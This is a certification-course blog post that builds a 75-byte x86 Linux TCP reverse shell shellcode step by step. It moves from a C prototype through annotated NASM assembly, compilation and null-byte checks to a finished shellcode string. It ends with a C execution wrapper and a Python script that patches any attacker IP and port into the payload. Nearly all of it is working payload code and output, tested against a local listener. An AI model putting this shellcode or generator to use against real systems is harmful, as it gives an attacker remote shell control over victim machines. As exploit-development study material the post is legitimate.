This blog post describes manual creating of TCP reverse shellcode on Intel 32-bit architecture and Linux platform. If you have already read previous blog post how to create bind shell you will find this post very easy to follow as the progress is almost the same.
We will start with following C code.
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <unistd.h>
int main()
{
// 1. Create socket
int connect_socket_fd = socket(AF_INET, SOCK_STREAM, 0);
// 2. Connect socket to remote port and address
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(5050);
addr.sin_addr.s_addr = inet_addr("127.1.1.1");
connect(connect_socket_fd, (struct sockaddr *)&addr, sizeof(addr));
// 3. Duplicate stdin, stdout and stderr file descriptors
dup2(connect_socket_fd, STDIN_FILENO);
dup2(connect_socket_fd, STDOUT_FILENO);
dup2(connect_socket_fd, STDERR_FILENO);
// 4. Spawn shell
execve("/bin/sh", NULL, NULL);
}
Difference between bind and reverse shell mechanism is that in reverse shell implementation we do NOT:
- bind() the socket
- set socket into listening mode
- set up listening socket with the accept() call
We do connect() the socket directly to target IP and port.
Reverse shell C code analysis
- Call to socket() creates a connection socket(1) and returns file descriptor(2) which identifies this socket later on. First argument selects the protocol family which will be used for communication – AF_INET stands for IPv4 Internet Protocols. Second argument specifies the communication semantics – SOCK_STREAM is full-duplex byte stream supported by AF_INET family. Third argument is specific protocol defined in /etc/protocols.
- Call to connect() initiates a connection on a socket. First argument is file descriptor from socket() call. Second argument is structure with protocol family, port and IP. Note that port and IP are converted into network byte order (big-endian). IP mustn’t contain any zeros otherwise we will end up with null bytes in the shellcode! Third argument is just size of sockaddr_in structure in bytes.
- dup2() call binds current process’ stdin, stdout, stderr file descriptors with connected socket file descriptor hence any data from outside coming into connected socket are treated as stdin. Similarly any data generated by current process which would go to stdout or stderr go out to the connected socket.
- Call to execve() system call spawns shell in current process. First argument is path to executable. Second argument points to executable arguments and third argument points to environment variables.
Converting C to Assembly
C code must be rewritten by means of pure system calls(3) so let’s translate functions in the C code into system calls.
// 1. Create socket
int connect_socket_fd = socket(AF_INET, SOCK_STREAM, 0);
First find out AF_INET and SOCK_STREAM values. It can be discovered by running strace or in http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html. AF_INET = 2, SOCK_STREAM = 1.
Do we have system call socket() in /usr/include/i386-linux-gnu/asm/unistd_32.h ? No, Linux has only system call socketcall() which serves as API for other socket functions. The socketcall() has following signature
int socketcall(int call, unsigned long *args);
From /usr/include/i386-linux-gnu/asm/unistd_32.h we have system call number
define __NR_socketcall 102
Next have a look at definitions for socketcall() in /usr/include/linux/net.h where we get value for SYS_SOCKET
define SYS_SOCKET 1
We have all needed values which need to be stuffed into registers.
global _start
section .text
_start:
; // 1. Create socket
; int socketcall(int call, unsigned long *args);
; int socketcall(SYS_SOCKET, {AF_INET, SOCK_STREAM, 0});
; int socketcall(1, {2, 1, 0});
; eax contains system call number 102. In hex 0x66
push 0x66
pop eax
; ebx contains SYS_SOCKET value
push 0x1
pop ebx
; ecx contains pointer to structure with arguments for socket() call.
; arguments are pushed into stack in reverse order
xor ecx, ecx
push ecx ; push 0
push ebx ; push 1
push 0x2 ; push 2
mov ecx, esp ; point ecx to the top of the stack
int 0x80 ; invoke system call
mov esi, eax ; save returned file descriptor
// 2. Connect socket to remote port and address
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(5050);
addr.sin_addr.s_addr = inet_addr("127.1.1.1");
connect(connect_socket_fd, (struct sockaddr *)&addr, sizeof(addr));
We already know that AF_INET = 2.
htons() converts byte order of a number to network byte order which is in big-endian format. So 5050 is 0x13BA in little-endian and 0xBA13 in big-endian.
inet_addr() converts IP address to network byte order. So we have 127.1.1.1 = 0x7f010101 which in network byte order gives 0x0101017f
sizeof(addr) we can read from strace output
$ strace ./a.out 2>&1 | grep connect
connect(3, {sa_family=AF_INET, sin_port=htons(5050), sin_addr=inet_addr("127.1.1.1")}, 16) = 0
Value of SYS_CONNECT can be found in /usr/include/linux/net.h
Assembly for // 2. Connect socket to remote port and address block can be rewritten as follows:
; // 2. Connect socket to remote port and address
; connect(listen_socket_fd, (struct sockaddr *)&addr, sizeof(addr));
; connect($esi, {2, 0xba13, {0x0101017f}}, 0x10);
; int socketcall(int call, unsigned long *args);
; int socketcall(SYS_CONNECT, {$esi, {AF_INET, htons(5050), inet_addr("127.1.1.1")}, 0x10});
; int socketcall(3, {$esi, {2, 0xba13, {0x0101017f}}, 0x10});
; eax contains system call number 102(0x66)
mov al, 0x66
; ebx contains SYS_CONNECT value
pop ebx ; reuse value 2 from prior push 0x2 call
; ecx contains pointer to sockaddr_in structure
; {2, 0xba13, {0x0101017f}}
push 0x0101017f ; push IP
push word 0xba13 ; push port
push bx ; push 0x2
mov ecx, esp
; push all arguments for connect() call into stack
; {$esi, {2, 0xba13, {0x0101017f}}, 0x10}
push 0x10 ; size of sockaddr_in is 16(0x10) bytes
push ecx ; push {2, 0xba13, {0x0101017f}}
push esi ; push file descriptor
mov ecx, esp ; point ecx to socketcall() second arg
inc ebx ; SYS_CONNECT = 3
int 0x80 ; invoke system call
// 3. Duplicate stdin, stdout and stderr file descriptors
dup2(connect_socket_fd, STDIN_FILENO);
dup2(connect_socket_fd, STDOUT_FILENO);
dup2(connect_socket_fd, STDERR_FILENO);
From /usr/include/i386-linux-gnu/asm/unistd_32.h we get value for dup2()
define __NR_dup2 63
Values of STDIN_FILENO, STDOUT_FILENO and STDERR_FILENO are 0, 1, 2
Assembly for // 5. Duplicate stdin, stdout and stderr file descriptors is
// 3. Duplicate stdin, stdout and stderr file descriptors
; dup2(connected_socket_fd, STDIN_FILENO);
; dup2(connected_socket_fd, STDOUT_FILENO);
; dup2(connected_socket_fd, STDERR_FILENO);
xchg ebx, esi ; ebx contains socket file descriptor
push 0x2
pop ecx ; set loop counter
; loop counter is used as descriptor argument
loop:
mov al, 0x3f ; system call number for dup2()
int 0x80 ; invoke system call
dec ecx ; step to next descriptor
jns loop ; jump to loop if SF=0
// 4. Spawn shell
execve("/bin/sh", NULL, NULL)
From /usr/include/i386-linux-gnu/asm/unistd_32.h we get value for execve()
define __NR_execve 11
// 4. Spawn shell
; execve("/bin/sh", NULL, NULL);
; pad "/bin/sh" with "/" to 8 byte length = "//bin/sh"
; reverse "//bin/sh" = "hs/nib//"
; hexencode "hs/nib//" = 0x68732f6e69622f2f
; divide into 4 byte chunks
; 0x68732f6e
; 0x69622f2f
; execve(//bin/sh, NULL, NULL);
inc ecx ; ecx incremented from -1 to 0
push ecx ; push 0
push 0x68732f6e ; push hexencoded "hs/n"
push 0x69622f2f ; push hexencoded "ib//"
mov ebx, esp ; ebx points to "0x00hs/nib//""
mul ecx ; zeroing eax and edx
mov al, 0xb ; set eax for system call
int 0x80 ; invoke system call
Final assembly code
global _start
section .text
_start:
; // 1. Create socket
push 0x66
pop eax
push 0x1
pop ebx
xor ecx, ecx
push ecx
push ebx
push 0x2
mov ecx, esp
int 0x80
mov esi, eax
; // 2. Connect socket to remote port and address
mov al, 0x66
pop ebx
push 0x0101017f
push word 0xba13
push bx
mov ecx, esp
push 0x10
push ecx
push esi
mov ecx, esp
inc ebx
int 0x80
; // 3. Duplicate stdin, stdout and stderr file descriptors
xchg ebx, esi
push 0x2
pop ecx
loop:
mov al, 0x3f
int 0x80
dec ecx
jns loop
; // 4. Spawn shell
inc ecx
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
mul ecx
mov al, 0xb
int 0x80
Compiling and testing assembly code
Compile .nasm file into object file(4)
$ nasm -f elf32 -o reverseshell.o reverseshell.nasm
Create binary file from object file
$ ld -o reverseshell reverseshell.o
Check for null bytes(5)
$ objdump -M intel -d reverseshell | grep 00
Extract shellcode from binary
$ objdump -d ./reverseshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
We got 75 bytes shellcode. Let’s insert extracted shellcode into testing C wrapper
// shellcode.c
// Shellcode testing wrapper
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x68\x7f\x01\x01\x01\x66\x68\x13\xba\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x87\xde\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x41\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xf7\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*CodeFun)() = (int(*)())code;
CodeFun();
}
Compile testing C code without buffer overflow stack protection and allow executable stack with -z flag which is passed to the linker
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
Executing shellcode we get reverse shell on port 5050
$ nc -nvl 5050 Connection from 127.0.0.1 port 5050 [tcp/*] accepted whoami
maple
Python script which sets IP and port number
#!/usr/bin/env python
import socket
import sys
import struct
'''
$ objdump -M intel -d reverseshell.o
...
15: 68 7f 01 01 01 push 0x101017f
1a: 66 68 13 ba pushw 0xba13
...
'''
PORT_OFFSET = 0x1a + 2
IP_OFFSET = 0x15 + 1
SHELLCODE = bytearray(
b'\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x68\x7f\x01\x01\x01\x66\x68\x13\xba\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x87\xde\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x41\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xf7\xe1\xb0\x0b\xcd\x80'
)
if len(sys.argv) != 3:
print('Usage: generate_reverseshell <IP> <port>')
exit(1)
# Set IP
ip_big_endian = socket.inet_aton(sys.argv[1])
SHELLCODE[IP_OFFSET:IP_OFFSET + 4] = ip_big_endian
# Set port
port_big_endian = socket.htons(int(sys.argv[2]))
SHELLCODE[PORT_OFFSET:PORT_OFFSET + 2] = struct.pack("H", port_big_endian)
# Print shellcode
print('\\x' + '\\x'.join('{:02x}'.format(byte) for byte in SHELLCODE))
Script can be used simply as
$ ./shellcode_ip_port.py 127.1.1.2 8888
\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x68\x7f\x01\x01\x02\x66\x68\x22\xb8\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x87\xde\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x41\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xf7\xe1\xb0\x0b\xcd\x80
$ nc -nvl 127.1.1.2 8888
Connection from 127.0.0.1 port 8888 [tcp/*] accepted
whoami
maple
(1) A socket is a pseudo-file that represents a network connection. Once a socket has been created and configured – writes to the socket are turned into network packets that get sent out or data received from the network can be read from the socket.
(2) In Unix and related computer operating systems, a file descriptor is an abstract indicator (handle) used to access a file or other input/output resource, such as a pipe or network socket. Each Unix process (except perhaps a daemon) should expect to have three standard POSIX file descriptors, corresponding to the three standard streams: stdin, stdout, stderr.
(3) The system call is the fundamental interface between an application and the Linux kernel.
(4) Object file contains low level instructions which can be understood by the CPU. That is why it is also called machine code. This low level machine code is the binary representation of the instructions so it can be disassembled by objectdump. Object file is not directly executable.
(5) Shellcode must be free of null bytes because they are used as C string terminators in many C functions. Leaving null bytes in shellcode can lead to undefined shellcode behaviour and hard-to-find bugs.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE-1443